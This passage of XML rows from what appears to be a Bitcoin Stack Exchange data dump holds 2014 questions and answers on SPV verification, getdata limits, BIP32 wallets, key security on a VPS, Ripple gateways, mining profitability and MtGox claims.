  <row Id="30374" PostTypeId="2" ParentId="30362" CreationDate="2014-09-03T16:18:56.673" Score="-1" Body="&lt;p&gt;LAMASSU BTM's are everywhere. Watch out though, because they charge at least 5% on all transactions. &lt;/p&gt;&#xA;" OwnerUserId="14016" LastEditorUserId="2306" LastEditDate="2014-09-07T15:37:18.377" LastActivityDate="2014-09-07T15:37:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30375" PostTypeId="2" ParentId="19714" CreationDate="2014-09-03T16:47:46.607" Score="1" Body="&lt;p&gt;Consider using hierarchical &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot; rel=&quot;nofollow&quot;&gt;BIP32&lt;/a&gt; wallets. You can generate the addresses with various tools (e.g. &lt;a href=&quot;https://github.com/spesmilo/sx&quot; rel=&quot;nofollow&quot;&gt;sx&lt;/a&gt;) or natively in your web app. Then you can import the keys to your bitcoind node in order to manage them. If needed, you can have multiple bitcoind nodes and load-balance the keys among them (e.g. having X customers per node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great advantage of &lt;strong&gt;BIP32&lt;/strong&gt; wallets is that you only need to perform the backup &lt;strong&gt;once&lt;/strong&gt; - at the beginning, since all the keys are derived from the initial seed.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-09-03T16:47:46.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30380" PostTypeId="2" ParentId="30362" CreationDate="2014-09-03T18:49:11.707" Score="1" Body="&lt;p&gt;You're asking 2 questions here..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) list of retailers/hotels: try this site &lt;a href=&quot;https://spendbitcoins.ca/&quot; rel=&quot;nofollow&quot;&gt;https://spendbitcoins.ca/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) bitcoin is borderless. if they accept it, they accept it. now that's not to say a geo-located website might accept btc on their american (.com) site but not the british version (.co.uk), as overstock do. but that's a business decision, not a property of crypto currencies. think of it this way: if a business accepts it, they have a wallet address you can send money to, as long as you have a wallet too. doesn't matter where in the world you are. kind of like email.&lt;/p&gt;&#xA;" OwnerUserId="19234" LastActivityDate="2014-09-03T18:49:11.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30383" PostTypeId="1" AcceptedAnswerId="30384" CreationDate="2014-09-03T21:49:57.947" Score="1" ViewCount="456" Body="&lt;p&gt;Section 7 of the official &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoin paper&lt;/a&gt; &quot;Reclaiming Disk Space&quot; explains that only block headers are needed to verify transactions. Essentially by making sure that the transaction has been buried behind enough blocks. Why is the block chain so big then? It seems like we could all just store headers and reclaim a lot of disk space. Can I independently verify the integrity of the network with only block headers?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-09-03T22:27:50.867" Title="Can I independently verify the integrity of the network with only block headers?" Tags="|nodes|spv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30384" PostTypeId="2" ParentId="30383" CreationDate="2014-09-03T21:55:46.917" Score="2" Body="&lt;p&gt;In order to validate a new block with a new set of transactions, your node will also need to ensure that the source account for each new transaction actually has a balance to spend. For this, you will need the entire blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-09-03T21:55:46.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30385" PostTypeId="2" ParentId="30383" CreationDate="2014-09-03T22:27:50.867" Score="3" Body="&lt;p&gt;&lt;em&gt;Reclaiming disk space&lt;/em&gt; describes what is nowadays called pruning. After downloading the entire block chain, you can safely throw most of it away because old spent transaction outputs are never needed again. This is not yet fully supported in Bitcoin Core, but it probably will be possible in the next major release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper (my emphasis):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the latest transaction in a coin is buried under enough blocks, the &lt;strong&gt;&lt;em&gt;spent transactions&lt;/em&gt;&lt;/strong&gt; before it can be discarded to save disk space&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're talking about simplified payment verification (SPV), the next section in the paper. With SPV, you use just headers and Merkle trees to verify that a transaction has a certain number of confirmations. A transaction with a high number of confirmations is probably safe, but you can't be 100% sure without downloading and verifying the entire block chain. SPV clients trust that the majority of miners are honest, which full nodes do not need to do in most cases. Today, SPV is used by many lightweight clients such as MultiBit and Bitcoin Wallet for Android.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-09-03T22:27:50.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30386" PostTypeId="1" AcceptedAnswerId="30391" CreationDate="2014-09-04T00:26:18.970" Score="2" ViewCount="435" Body="&lt;p&gt;From the Bitcoin wiki's &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#getdata&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protocol Specification&lt;/a&gt; page:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;getdata&lt;/h3&gt;&#xA;&lt;p&gt;getdata is used in response to inv, to retrieve the content of a specific object, and is usually sent after receiving an inv packet, after filtering known elements. It can be used to retrieve transactions, but only if they are in the memory pool or relay set - arbitrary access to transactions in the chain is not allowed to avoid having clients start to depend on nodes having full transaction indexes (which modern nodes do not).&lt;/p&gt;&#xA;&lt;p&gt;Payload (maximum payload length: 1.8 Megabytes or 50000 entries)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I see the point in the code where the client enforces the 50000 entry limit. But where does it limit how large the payload is? It's not the send limit, that's 1 MiB. (by default) It's not the receive limit, that's 5 MiB.&lt;/p&gt;&#xA;&lt;p&gt;Is the wiki wrong?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-09-04T08:59:32.243" Title="Maximum `getdata` message size" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30387" PostTypeId="2" ParentId="30358" CreationDate="2014-09-04T07:06:05.303" Score="1" Body="&lt;p&gt;Check out the &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_troubleshooting.html&quot; rel=&quot;nofollow&quot;&gt;Trouble shooting page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19232" LastActivityDate="2014-09-04T07:06:05.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30388" PostTypeId="2" ParentId="17628" CreationDate="2014-09-04T07:12:10.153" Score="0" Body="&lt;p&gt;Check out the trouble shooting page. &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_troubleshooting.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_troubleshooting.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get to the wallet file in terminal window or file browser, move it to a location that doesn't have null in it. null in a file path seems strange. &lt;/p&gt;&#xA;" OwnerUserId="19232" LastActivityDate="2014-09-04T07:12:10.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30390" PostTypeId="2" ParentId="30237" CreationDate="2014-09-04T08:33:43.833" Score="1" Body="&lt;p&gt;In Britain it is possible for private people to make domestic transfers from their bank accounts free of charge. So for the questioner, I would list the IMMEDIATE practical benefits of Bitcoin as these:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The ability to make cheaply small payments to people overseas, e.g. charity payments, crowd funding projects, small mail-order purchases.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;making a distance payment (e.g. for pornography) where the payer does not want the purchase tied to a bank account.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;where money is going backwards and forwards between people, all of whom use Bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13433" LastActivityDate="2014-09-04T08:33:43.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30391" PostTypeId="2" ParentId="30386" CreationDate="2014-09-04T08:59:32.243" Score="2" Body="&lt;p&gt;The &lt;code&gt;inv_vect&lt;/code&gt; object is 36 bytes long (a &lt;code&gt;uint32_t&lt;/code&gt; for the type of object and a &lt;code&gt;char[32]&lt;/code&gt; for the hash). 50000 * 36 / 1000000 = 1.8 MB. I think it's a simple as that or I didn't understand you properly.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-09-04T08:59:32.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30393" PostTypeId="2" ParentId="336" CreationDate="2014-09-04T11:15:36.697" Score="4" Body="&lt;p&gt;Bitcoin is a &lt;strong&gt;global payment network&lt;/strong&gt; on the internet. It is &lt;strong&gt;self-sustained&lt;/strong&gt; and allows users to make payments between individuals &lt;strong&gt;like cash&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of a company being the referee, Bitcoin is governed &lt;strong&gt;neutrally&lt;/strong&gt; by rules asserted through a network of computers running the same &lt;strong&gt;open-source&lt;/strong&gt; software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is &lt;strong&gt;completely transparent&lt;/strong&gt;, in that anyone can see every transaction, yet &lt;strong&gt;private&lt;/strong&gt; as the identity of sender and receiver remain unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New currency units are solely added as recompensation for verifying the network's transactions, yet their number is &lt;strong&gt;finite&lt;/strong&gt;. The currency units are &lt;strong&gt;valuable&lt;/strong&gt; because they are scarce and useful.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-04T11:15:36.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30395" PostTypeId="2" ParentId="21149" CreationDate="2014-09-04T16:53:26.987" Score="2" Body="&lt;p&gt;With a standard Bitcoin Core installation under Window 7, the data directory is located under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{User}\AppData\Roaming\Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin.conf file containing the line &quot;testnet=1&quot; goes there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual way to create this file is with Notepad. Unfortunately, this app insists on giving the file the extension &quot;.txt&quot;. This is, of course invisible by default. The file appears to have the extension &quot;.conf&quot;, when it is actually &quot;.conf.txt&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this procedure to change the extension, and your bitcoin.conf file should be read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ehow.com/how_8134776_delete-file-extension-windows-7.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ehow.com/how_8134776_delete-file-extension-windows-7.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2014-09-04T16:53:26.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30397" PostTypeId="1" CreationDate="2014-09-04T21:59:20.720" Score="0" ViewCount="92" Body="&lt;p&gt;How can I take steps to prevent/detect bad employees stealing my money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running bitcoind on a VPS with Ubuntu 14.04. Only ports open are 22, 80 and 443. I have fail2ban and auditd enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any other practical tips?&lt;/p&gt;&#xA;" OwnerUserId="19169" LastActivityDate="2014-09-05T01:29:30.697" Title="Nosey/disgruntled employees at my VPS company" Tags="|wallet|encryption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30398" PostTypeId="2" ParentId="30397" CreationDate="2014-09-04T22:47:40.920" Score="2" Body="&lt;p&gt;The only real solution is to not keep private keys on that server. Keep them on a computer that only you can access, or offline in a paper wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encrypting the wallet will help somewhat, but a malicious administrator could log your passphrase when you unlock the wallet, or extract the decrypted private key from the server's memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the server must have private keys (e.g. because it has to make payments), then your software should be designed to keep only the minimum balance necessary in the server's wallet, and sweep the rest to addresses whose keys you hold elsewhere.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-04T22:47:40.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30399" PostTypeId="2" ParentId="20997" CreationDate="2014-09-05T01:22:57.667" Score="1" Body="&lt;p&gt;There is a blockchain tool call Obelisk which works like bitcoind in effect, they do have &lt;a href=&quot;https://wiki.unsystem.net/en/index.php/Obelisk/Servers&quot; rel=&quot;nofollow&quot;&gt;public servers&lt;/a&gt; open to save you having to download the whole blockchain. You need to install obelisk and sx tools (same authors).. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info:  &lt;a href=&quot;http://libbitcoin.dyne.org/&quot; rel=&quot;nofollow&quot;&gt;http://libbitcoin.dyne.org/&lt;/a&gt;  also  &lt;a href=&quot;http://sx.dyne.org/history.html&quot; rel=&quot;nofollow&quot;&gt;http://sx.dyne.org/history.html&lt;/a&gt;&#xA;sx tools Git:  &lt;a href=&quot;https://github.com/spesmilo/sx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/sx&lt;/a&gt;&#xA;Obelisk Git:  &lt;a href=&quot;https://github.com/libbitcoin/obelisk/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/libbitcoin/obelisk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-09-05T01:22:57.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30400" PostTypeId="2" ParentId="30397" CreationDate="2014-09-05T01:29:30.697" Score="0" Body="&lt;p&gt;You could hold your keys on another server and just pull them across to your VPS server when needed, if you used something like &lt;a href=&quot;https://github.com/spesmilo/sx&quot; rel=&quot;nofollow&quot;&gt;sx tools&lt;/a&gt; then you could have your private key data on a separate server to your bitcoind software. When you need to make a payment the separate server could provide the raw transaction data required to push just that transaction to the network. Using sx tools you can create a raw transaction and submit it to a bitcoind node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this just passes the responsibility to another server but not having to run a bitcoin node on it at least means it's a bit more below the radar if that's what you're worried about.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-09-05T01:29:30.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30401" PostTypeId="1" AcceptedAnswerId="37280" CreationDate="2014-09-05T01:44:40.353" Score="4" ViewCount="1988" Body="&lt;p&gt;Is there a library which exposes order-book and trading functionality of major exchanges like BTC-e, Bitfinex, Cryptsy etc. ? I know these site have their own API but I wanted to re-use the code, if some sort of library is already available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a java library in particular.&lt;/p&gt;&#xA;" OwnerUserId="16952" LastActivityDate="2023-04-26T07:42:20.900" Title="Library for trading on major exchanges" Tags="|exchanges|trading|java|library|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30404" PostTypeId="1" CreationDate="2014-09-05T06:42:27.040" Score="1" ViewCount="143" Body="&lt;p&gt;I know that Ripple supports &lt;a href=&quot;https://wiki.ripple.com/Gateway_demurrage&quot; rel=&quot;nofollow&quot;&gt;currency demurrage&lt;/a&gt;, as in the decrease of amount of currency one has over time. However, I am wondering if the opposite is also possible? Can one automatically program inflation into a Ripple currency?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-01-28T16:48:43.087" Title="Does Ripple support Gateway interest?" Tags="|ripple|ripple-gateways|inflation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30405" PostTypeId="1" AcceptedAnswerId="30406" CreationDate="2014-09-05T13:46:44.147" Score="0" ViewCount="482" Body="&lt;p&gt;I've been researching altcoins and keep coming across some staggering figures. I think it's just too early to do math, but if I were to farm novacoins for example &lt;a href=&quot;http://www.coinwarz.com/calculators/novacoin-mining-calculator&quot; rel=&quot;nofollow&quot;&gt;calculator here&lt;/a&gt; and I have pretty much no cost (0 power and 0 hardware), my rig can run 500-600 Mhash/s (aka 500,000-600,000khash/s since that's what the calc uses), lets ignore difficulty increase. The calculator says I can make ~$100 PER DAY. This can't be right, can someone figure out what I'm doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="19248" LastEditorUserId="19248" LastEditDate="2014-09-05T14:18:52.273" LastActivityDate="2014-09-05T14:23:29.047" Title="Calculating the mining profitability of Novacoin" Tags="|alternatives|mining-profitability|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30406" PostTypeId="2" ParentId="30405" CreationDate="2014-09-05T14:06:39.360" Score="1" Body="&lt;p&gt;If you already have the hardware and do not pay for your power consumption, then it follows that you would always have 100% profit. If you pay for your own power consumption, you need to be aware that performing mining calculations all day will significantly increase your computer's power usage in comparison to being idle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't checked the validity of the calculator, but you can calculate your potential mining yield from your mining power and the current difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://bitcoin.stackexchange.com/a/135/5406&quot;&gt;this answer&lt;/a&gt; on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/118/5406&quot;&gt;How much Bitcoin will I mine right now with hardware X?&lt;/a&gt; for a formula.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, it depends on whether it is actually possible to sell the coins that you gained (whether there is a market for it), and whether the above information is acurate, otherwise, it might well be possible to make a good amount of money mining altcoins.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-09-05T14:23:29.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30407" PostTypeId="1" CreationDate="2014-09-05T14:35:07.590" Score="1" ViewCount="503" Body="&lt;p&gt;From what I have read and understood. As open transaction platform uses coloured coins. The issuer of the coloured coin can associate it with a particular asset: like a ticket to a concert, or gold or real estate etc. &#xA;Now the issuer can trade these coloured coins on the open transaction platform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question I have is:&#xA;Who manages the settlement and clearance process? That is who insures that the physical ownership of the asset that was represented by the coloured coin and transacted on the platform is transferred to its new owner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example. The coloured coin represented gold. I as an end user purchased the coloured coin paid the owner the desired price. The open transaction records that I am now the Owner of this gold (courtesy of the coloured coin). However how does the physical settlement and clearance take place? What if the seller refuses to handover physical ownership of the gold? &lt;/p&gt;&#xA;" OwnerUserId="18887" LastActivityDate="2014-09-05T18:27:13.720" Title="How does the Clearing &amp; Settlement process work in Open Transaction" Tags="|bitcoind|open-transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-04T09:12:47.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="30408" PostTypeId="2" ParentId="30407" CreationDate="2014-09-05T18:27:13.720" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However how does the physical settlement and clearance take place?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on the settlement policies of whoever issued the asset.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What if the seller refuses to handover physical ownership of the gold?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Take them to court, I guess?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-05T18:27:13.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30409" PostTypeId="1" CreationDate="2014-09-05T22:36:24.143" Score="2" ViewCount="12" Body="&lt;p&gt;Is there a bitcoin trading exchange that supports &lt;a href=&quot;http://www.forbes.com/2006/08/23/investools-options-ge-in_wh_0823investools_inl.html&quot; rel=&quot;nofollow&quot;&gt;puts and calls&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19256" LastActivityDate="2014-09-05T22:36:24.143" Title="Exchange with Puts and calls?" Tags="|trading|" AnswerCount="0" CommentCount="0" ClosedDate="2014-09-07T10:52:37.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="30410" PostTypeId="2" ParentId="30362" CreationDate="2014-09-06T01:02:41.403" Score="1" Body="&lt;p&gt;Yes, the &lt;a href=&quot;https://airbitz.co/search?term=&amp;amp;location=Canada&quot; rel=&quot;nofollow&quot;&gt;AirBitz business directory&lt;/a&gt; actively maintains a curated list of merchants who accept Bitcoin, including merchants in Canada. They try to be as complete as possible, scraping data from multiple sources on a weekly basis. Each entry is hand-checked for completeness and correctness, so there should be very few false positives.&lt;/p&gt;&#xA;" OwnerUserId="11704" LastActivityDate="2014-09-06T01:02:41.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30412" PostTypeId="1" CreationDate="2014-09-06T12:45:15.297" Score="1" ViewCount="115" Body="&lt;p&gt;As of September 6, 2014, Ripple Singapore's (RS's) &lt;a href=&quot;https://www.ripplesingapore.com/Home/IRBA&quot; rel=&quot;nofollow&quot;&gt;IRBA page&lt;/a&gt; states -34.86 XAU balance and 40 XAU in reserves. &lt;a href=&quot;http://www.ripplecharts.com/#/value&quot; rel=&quot;nofollow&quot;&gt;Ripple Charts&lt;/a&gt; (Capitalization, XAU) shows about 51.9 at this time. Why the difference? (Or does Ripple Charts' Capitalization mean something else?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine this might come from rippling, though don't know exactly how. I'd still imagine that someone's (eg. RS's) new IOU's can only be issued when they explicitly send the currency to someone else; rippling should only swap different peoples IOU's and not create new ones, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the difference in balances mean that RS, in addition to bullion in their safes, also holds other peoples XAU IOU's to cover for the difference?&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2014-09-06T12:45:15.297" Title="Ripple Singapore states -34.86 XAU balance, but RippleCharts shows 51.9 (September 2014). How come and what does it mean?" Tags="|ripple|ripple-gateways|iou|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:15:18.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="30413" PostTypeId="1" CreationDate="2014-09-06T12:53:49.687" Score="1" ViewCount="246" Body="&lt;p&gt;There are many well known sites that show balance and past transactions for a &lt;em&gt;Bitcoin&lt;/em&gt; address, eg. blockchain.info, blockr.io etc. Does something like this exist for Ripple? Is this even possible with the Ripple protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about &lt;a href=&quot;http://rippledb.com/&quot; rel=&quot;nofollow&quot;&gt;http://rippledb.com/&lt;/a&gt;, but this doesn't seem to list this, just ledgers.&lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2014-11-26T05:52:01.193" Title="Does the Ripple protocol allow listing an account's (address's) past transactions? If yes, is there a web site for this?" Tags="|ripple|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30415" PostTypeId="1" CreationDate="2014-09-06T15:15:53.413" Score="1" ViewCount="268" Body="&lt;p&gt;I have bitcoind running from a 2 GB CentOS 6 box in order to check balances of addresses. The problem is that it just randomly stops downloading the blockchain sometimes, and I have to use ./bitcoind stop and ./bitcoind to start it back up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./bitcoind getinfo gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 90201,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 213322,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 14,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 3370181.79927784,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1410016320,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19264" LastActivityDate="2014-09-06T15:15:53.413" Title="Bitcoind randomly stops downloading the blockchain" Tags="|blockchain|bitcoind|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30417" PostTypeId="1" CreationDate="2014-09-06T23:54:57.313" Score="3" ViewCount="487" Body="&lt;p&gt;From what I understand mtgox lost bitcoins but I had traded the bitcoins for dollars before the bankruptcy. Am I understanding it correctly or am I wrong? &lt;/p&gt;&#xA;" OwnerUserId="19265" LastActivityDate="2014-09-10T11:20:11.260" Title="I had money on MtGox, can I get it back?" Tags="|mtgox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30418" PostTypeId="1" CreationDate="2014-09-07T00:11:13.620" Score="0" ViewCount="301" Body="&lt;p&gt;I am unable to connect to the Blockchain API, here is the code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$rpc_host = 'rpc.blockchain.info';&lt;br&gt;$rpc_port = '80';&lt;br&gt;&#xA;  $rpc_user = 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX';&lt;br&gt;&#xA;  $rpc_pass = 'PASSWORD';&lt;br&gt;&lt;br&gt;&#xA;  require_once('jsonRPCClient.php');&lt;br&gt;&#xA;  $bc = new jsonRPCClient('http://' . $rpc_user . ':' . $rpc_pass . '@' . $rpc_host . ':' . $rpc_port);&lt;br&gt;$balance = $bc-&gt;getbalance();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have also tried with port 443, and I still get this error (but with https://):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EXCEPTION: Unable to connect to http:[Link Breaker]//XXXXXXXX-XXXX-XXXX-&gt;XXXX-XXXXXXXXXXXX:Password@rpc.blockchain.info:80&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried everything I know and I've seen some people with the same problem, but no solution. Can anyone help me?&lt;/p&gt;&#xA;" OwnerDisplayName="user19266" LastEditorDisplayName="user19266" LastEditDate="2014-09-07T01:00:48.257" LastActivityDate="2014-09-07T01:00:48.257" Title="json RPC Blockchain not Working" Tags="|blockchain|json-rpc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30419" PostTypeId="2" ParentId="30417" CreationDate="2014-09-07T02:37:18.290" Score="2" Body="&lt;p&gt;As I understand it, it's irrelevant whether you had dollars or bitcoins with them. Either way, they are bankrupt and you are a creditor. You have to file a claim in the bankruptcy proceeding to ask for your share of whatever assets the court may find that they have.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-07T02:37:18.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30420" PostTypeId="2" ParentId="30067" CreationDate="2014-09-07T04:15:55.120" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blockcypher.com&quot; rel=&quot;nofollow&quot;&gt;BlockCypher web services&lt;/a&gt; supports 3 different cryptocurrencies right now, more may be added in the future. All coins have the exact same services exposed so it's easy to develop for all of them at once.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-09-07T04:15:55.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30421" PostTypeId="2" ParentId="16607" CreationDate="2014-09-07T07:15:35.737" Score="1" Body="&lt;p&gt;Competing chains do not split transactions between each other to be confirmed. In fact, &lt;strong&gt;each chain assumes that it is the only valid chain&lt;/strong&gt; as the other chains are incompatible to itself, therefore each chain will try to include any and all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some transactions might be in a different order or at a different block height, but unless the chains have confirmed conflicting transactions such as a double spend, all transactions will be present in both chains.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-07T07:15:35.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30422" PostTypeId="2" ParentId="30328" CreationDate="2014-09-07T08:07:47.910" Score="2" Body="&lt;p&gt;Finding blocks is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Memorylessness&quot; rel=&quot;nofollow noreferrer&quot;&gt;memoryless&lt;/a&gt; process which means:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/25295/5406&quot;&gt;times between blocks can vary significantly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3911/5406&quot;&gt;the probability to find a block is not influenced by how much time has elapsed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;in order to surpass the difficulty once, the work necessary is expected to be 10 minutes at the current difficulty, therefore the six blocks in 10 minutes provide the average work of the whole network for 60 minutes at the current difficulty – just by chance it was done much quicker&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the network to consistently find six blocks in ten minutes, the hashing power would have to increase by a factor of six.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we clearly aren't seeing an increase by such margins, 